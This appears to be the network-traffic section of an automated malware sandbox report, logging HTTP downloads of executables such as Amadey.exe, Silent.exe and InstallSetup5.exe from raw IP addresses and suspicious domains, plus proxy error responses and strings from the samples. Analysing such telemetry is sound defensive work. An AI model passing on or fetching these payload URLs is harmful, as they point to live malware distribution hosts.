Source: global traffic	HTTP traffic detected: GET /26b626fea29015a9f24e07a08fa011e4/6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1Host: ittrade.org
Source: global traffic	HTTP traffic detected: GET /RNWPd.exe HTTP/1.1Host: yip.su
Source: global traffic	HTTP traffic detected: GET /raw/E0rY26ni HTTP/1.1Host: pastebin.com
Source: global traffic	HTTP traffic detected: GET /26b626fea29015a9f24e07a08fa011e4/6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1Host: ittrade.org
Source: global traffic	HTTP traffic detected: GET /baf14778c246e15550645e30ba78ce1c.exe HTTP/1.1Host: shipofdestiny.com
Source: global traffic	HTTP traffic detected: GET /files/Amadey.exe HTTP/1.1Host: 15.204.49.148Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/Silent.exe HTTP/1.1Host: 15.204.49.148Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /InstallSetup5.exe HTTP/1.1Host: 185.172.128.126Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /InstallSetup5.exe HTTP/1.1Host: 185.172.128.126Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/Amadey.exe HTTP/1.1Host: 15.204.49.148
Source: global traffic	HTTP traffic detected: GET /opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767 HTTP/1.1Host: net.geo.opera.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767 HTTP/1.1Host: net.geo.opera.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /files/Amadey.exe HTTP/1.1Host: 15.204.49.148
Source: global traffic	HTTP traffic detected: GET /files/Silent.exe HTTP/1.1Host: 15.204.49.148
Source: global traffic	HTTP traffic detected: GET /opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767 HTTP/1.1Host: net.geo.opera.com
Source: global traffic	HTTP traffic detected: GET /opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767 HTTP/1.1Host: net.geo.opera.com
Source: global traffic	HTTP traffic detected: GET /files/Amadey.exe HTTP/1.1Host: 15.204.49.148
Source: global traffic	HTTP traffic detected: GET /InstallSetup5.exe HTTP/1.1Host: 185.172.128.126
Source: global traffic	HTTP traffic detected: GET /InstallSetup5.exe HTTP/1.1Host: 185.172.128.126
Source: global traffic	HTTP traffic detected: GET /InstallSetup5.exe HTTP/1.1Host: 185.172.128.126
Source: global traffic	HTTP traffic detected: GET /InstallSetup5.exe HTTP/1.1Host: 185.172.128.126
Source: global traffic	HTTP traffic detected: GET /files/Amadey.exe HTTP/1.1Host: 15.204.49.148
Source: global traffic	HTTP traffic detected: GET /files/Silent.exe HTTP/1.1Host: 15.204.49.148
Source: global traffic	HTTP traffic detected: GET /opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767 HTTP/1.1Host: net.geo.opera.com
Source: global traffic	HTTP traffic detected: GET /opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767 HTTP/1.1Host: net.geo.opera.com
Source: global traffic	HTTP traffic detected: GET /files/Amadey.exe HTTP/1.1Host: 15.204.49.148
Source: global traffic	HTTP traffic detected: GET /InstallSetup5.exe HTTP/1.1Host: 185.172.128.126
Source: global traffic	HTTP traffic detected: GET /InstallSetup5.exe HTTP/1.1Host: 185.172.128.126
Source: global traffic	HTTP traffic detected: GET /files/Amadey.exe HTTP/1.1Host: 15.204.49.148
Source: global traffic	HTTP traffic detected: GET /opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767 HTTP/1.1Host: net.geo.opera.com
Source: global traffic	HTTP traffic detected: GET /files/Silent.exe HTTP/1.1Host: 15.204.49.148
Source: global traffic	HTTP traffic detected: GET /opera/stable/windows/?utm_medium=apb&utm_source=mkt&utm_campaign=767 HTTP/1.1Host: net.geo.opera.com
Source: global traffic	HTTP traffic detected: GET /files/Amadey.exe HTTP/1.1Host: 15.204.49.148
Source: global traffic	HTTP traffic detected: GET /InstallSetup5.exe HTTP/1.1Host: 185.172.128.126

Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, sUyDoVTGsfEnMY0oeyexTBut.exe, VvPx7JMqkEvTJAQ2rPS2y2wf.exe	String found in binary or memory: OS X; U; en) Presto/2.6.30 Version/10.61facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)tls: internal error: handshake returned an error but is marked successfultls: received unexpected handshake message of type %T when waiting for %T equals www.facebook.com (Facebook)
Source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, sUyDoVTGsfEnMY0oeyexTBut.exe, VvPx7JMqkEvTJAQ2rPS2y2wf.exe	String found in binary or memory: o Debian/1.6-7Mozilla/5.0 (compatible; Konqueror/3.3; Linux 2.6.8-gentoo-r3; X11;facebookscraper/1.0( http://www.facebook.com/sharescraper_help.php)2695994666715063979466701508701962594045780771442439172168272236806126959946667150639794667015087019630673557916 equals www.facebook.com (Facebook)

Source: unknown

DNS traffic detected: queries for: github.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squidMime-Version: 1.0Date: Mon, 11 Mar 2024 02:30:37 GMTContent-Type: text/html;charset=utf-8Content-Length: 17X-Squid-Error: ERR_ACCESS_DENIED 0X-Cache: MISS from cdn-fintech.infoX-Cache-Lookup: NONE from cdn-fintech.info:8123Connection: keep-aliveData Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 11 Mar 2024 02:30:38 GMTContent-Length: 101Content-Type: text/plain; charset=utf-8Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Founddate: Mon, 11 Mar 2024 02:30:37 GMTserver: istio-envoyconnection: closecontent-length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 11 Mar 2024 02:30:38 GMTContent-Length: 101Content-Type: text/plain; charset=utf-8Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squidMime-Version: 1.0Date: Mon, 11 Mar 2024 02:30:38 GMTContent-Type: text/html;charset=utf-8Content-Length: 17X-Squid-Error: ERR_ACCESS_DENIED 0X-Cache: MISS from cdn-fintech.infoX-Cache-Lookup: NONE from cdn-fintech.info:8123Connection: keep-aliveData Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Mon, 11 Mar 2024 02:30:38 GMTContent-Length: 19Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plain; charset=utf-8X-Content-Type-Options: nosniffDate: Mon, 11 Mar 2024 02:30:38 GMTContent-Length: 19Data Raw: 34 30 34 20 70 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: 404 page not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 11 Mar 2024 02:30:38 GMTContent-Length: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 11 Mar 2024 02:30:38 GMTContent-Length: 101Content-Type: text/plain; charset=utf-8Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 38 38 37 38 32 32 38 39 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003887822894"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/5.7Mime-Version: 1.0Date: Mon, 11 Mar 2024 02:30:39 GMTContent-Type: text/html;charset=utf-8Content-Length: 3628X-Squid-Error: ERR_ACCESS_DENIED 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from lb1X-Cache-Lookup: NONE from lb1:3128Via: 1.1 lb1 (squid/5.7)Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 11 Mar 2024 02:30:39 GMTContent-Length: 101Content-Type: text/plain; charset=utf-8Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/4.7Mime-Version: 1.0Date: Mon, 11 Mar 2024 02:30:39 GMTContent-Type: text/html;charset=utf-8Content-Length: 5X-Squid-Error: TCP_RESET 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from proxy.wakoopa.comVia: 1.1 proxy.wakoopa.com (squid/4.7)Connection: keep-aliveData Raw: 72 65 73 65 74 Data Ascii: reset
